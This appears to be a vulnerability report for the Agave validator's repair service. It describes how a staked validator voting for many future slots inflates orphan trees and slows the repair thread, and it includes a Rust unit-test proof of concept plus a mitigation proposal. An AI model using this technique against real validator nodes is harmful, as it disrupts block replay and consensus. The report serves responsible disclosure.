Issue Description
A validator participating in an epoch can submit votes for up to 90_000 slots in advance.
Each vote is forwarded to RepairWeight::add_voters. A slot several slots in advance has no parent, which results in
RepairWeight::add_voters inserting a tree for every single node orphan tree.
|
} else { |
|
// We guarantee that `earliest_ancestor` does not already exist in |
|
// `self.trees` otherwise `tree_root` would not be None |
|
self.insert_new_tree(earliest_ancestor); |
|
( |
|
TreeRoot::Root(earliest_ancestor), |
|
self.trees.get_mut(&earliest_ancestor).unwrap(), |
|
) |
|
} |
Thus, N distinct voted slots create N persistent orphan trees.
In a loop, RepairService calls get_best_weighted_repairs. This function's work scales with forest size (where N = votes).
|
fn identify_repairs( |
|
blockstore: &Blockstore, |
|
root_bank: Arc<Bank>, |
|
_repair_info: &RepairInfo, |
|
repair_weight: &mut RepairWeight, |
|
repair_eligibility: &mut RepairEligibility, |
|
outstanding_repairs: &mut HashMap<ShredRepairType, u64>, |
|
repair_metrics: &mut RepairMetrics, |
|
) -> Vec<ShredRepairType> { |
|
let mut purge_outstanding_repairs_us = Measure::start("purge_outstanding_repairs_us"); |
|
// Purge old entries. They've either completed or need to be retried. |
|
outstanding_repairs.retain(|_repair_request, time| { |
|
timestamp().saturating_sub(*time) < REPAIR_REQUEST_TIMEOUT_MS |
|
}); |
|
purge_outstanding_repairs_us.stop(); |
|
repair_metrics.timing.purge_outstanding_repairs_us += purge_outstanding_repairs_us.as_us(); |
|
repair_eligibility.set_root(root_bank.slot()); |
|
|
|
repair_weight.get_best_weighted_repairs( |
|
blockstore, |
|
root_bank.epoch_stakes_map(), |
|
root_bank.epoch_schedule(), |
|
MAX_ORPHANS, |
|
MAX_REPAIR_LENGTH, |
|
MAX_UNKNOWN_LAST_INDEX_REPAIRS, |
|
MAX_CLOSEST_COMPLETION_REPAIRS, |
|
repair_eligibility, |
|
repair_metrics, |
|
outstanding_repairs, |
|
) |
|
} |
get_best_orphans builds a vector over all self.trees and sorts it.
get_best_unknown_last_index performs O(N) RocksDB reads
get_best_closest_completion performs O(N) RocksDB reads
The results in the single repair thread performing excessive RocksDB lookups per repair iteration.
PoC
Please place the PoC in core/src/repair/repair_weight.rs and run with cargo test poc_repair_thread_dos_forest_inflation -- --show-output to see it scale.
/// A single staked voter inflates the repair forest 1:1
/// with the number of distinct future slots it votes for (no upper bound
/// The per-iteration cost of `get_best_weighted_repairs`
/// then grows with the forest size while the number of useful repairs stays
/// capped by the limits.
#[test]
fn poc_repair_thread_dos_forest_inflation() {
use {
crate::repair::repair_service::{
MAX_CLOSEST_COMPLETION_REPAIRS, MAX_ORPHANS, MAX_REPAIR_LENGTH,
MAX_UNKNOWN_LAST_INDEX_REPAIRS,
},
std::time::Instant,
};
let ledger_path = get_tmp_ledger_path!();
let blockstore = Blockstore::open(&ledger_path).unwrap();
let epoch_stakes = HashMap::new();
let epoch_schedule = EpochSchedule::default();
let attacker = vec![Pubkey::new_unique()];
const ROOT: Slot = 0;
const FIRST_ATTACK_SLOT: Slot = 1;
println!(
"\n junk slots | trees | useful repairs | time/iteration"
);
println!(
" -----------+---------+----------------+-------------+----------------------------"
);
let mut baseline_us = 0u128;
for &n in &[0u64, 5_000, 50_000] {
let mut repair_weight = RepairWeight::new(ROOT);
let votes: Vec<(Slot, Vec<Pubkey>)> = (0..n)
.map(|i| (FIRST_ATTACK_SLOT + i, attacker.clone()))
.collect();
repair_weight.add_voters(
&blockstore,
votes.into_iter(),
&epoch_stakes,
&epoch_schedule,
);
// the forest grew 1:1 with attacker votes
// and is bounded only by `slot >= root`. (+1 = the rooted tree.)
assert_eq!(repair_weight.trees.len() as u64, n + 1);
let mut outstanding = HashMap::default();
let start = Instant::now();
let repairs = repair_weight.get_best_weighted_repairs(
&blockstore,
&epoch_stakes,
&epoch_schedule,
MAX_ORPHANS,
MAX_REPAIR_LENGTH,
MAX_UNKNOWN_LAST_INDEX_REPAIRS,
MAX_CLOSEST_COMPLETION_REPAIRS,
&mut RepairEligibility::default(),
&mut RepairMetrics::default(),
&mut outstanding,
);
let elapsed_us = start.elapsed().as_micros();
let max_output = MAX_ORPHANS
+ MAX_REPAIR_LENGTH
+ MAX_UNKNOWN_LAST_INDEX_REPAIRS
+ MAX_CLOSEST_COMPLETION_REPAIRS;
assert!(repairs.len() <= max_output);
println!(
" {:>10} | {:>7} | {:>14} | {:>8} us |",
n,
repair_weight.trees.len(),
repairs.len(),
elapsed_us,
);
if n == 0 {
baseline_us = elapsed_us.max(1);
}
if n == 50_000 {
assert!(
elapsed_us > baseline_us * 5,
"per-repair iteration cost scales with attacker forest size \
(idle={baseline_us}us, attack={elapsed_us}us)"
);
}
}
}
Risk
A strained repair thread results in slowing of block replay and voting, thus disrupting a node's participation in consensus. While this attack requires a staked byzantine validator, a single attacker can target multiple nodes.
Mitigation
As mitigation, we recommend implementing a general limit on orphan trees in RepairWeight; evicting based on stake (the lower, the higher likelihood of eviction). RepairWeight can then prune as slots advance
Issue Description
A validator participating in an epoch can submit votes for up to
90_000slots in advance.Each vote is forwarded to
RepairWeight::add_voters. A slot several slots in advance has no parent, which results inRepairWeight::add_votersinserting a tree for every single node orphan tree.agave/core/src/repair/repair_weight.rs
Lines 149 to 157 in 35b4d2d
Thus, N distinct voted slots create N persistent orphan trees.
In a loop, RepairService calls
get_best_weighted_repairs. This function's work scales with forest size (where N = votes).agave/core/src/repair/repair_service.rs
Lines 727 to 757 in df51d29
get_best_orphansbuilds a vector over all self.trees and sorts it.get_best_unknown_last_indexperforms O(N) RocksDB readsget_best_closest_completionperforms O(N) RocksDB readsThe results in the single repair thread performing excessive RocksDB lookups per repair iteration.
PoC
Please place the PoC in
core/src/repair/repair_weight.rsand run withcargo test poc_repair_thread_dos_forest_inflation -- --show-outputto see it scale.Risk
A strained repair thread results in slowing of block replay and voting, thus disrupting a node's participation in consensus. While this attack requires a staked byzantine validator, a single attacker can target multiple nodes.
Mitigation
As mitigation, we recommend implementing a general limit on orphan trees in RepairWeight; evicting based on stake (the lower, the higher likelihood of eviction). RepairWeight can then prune as slots advance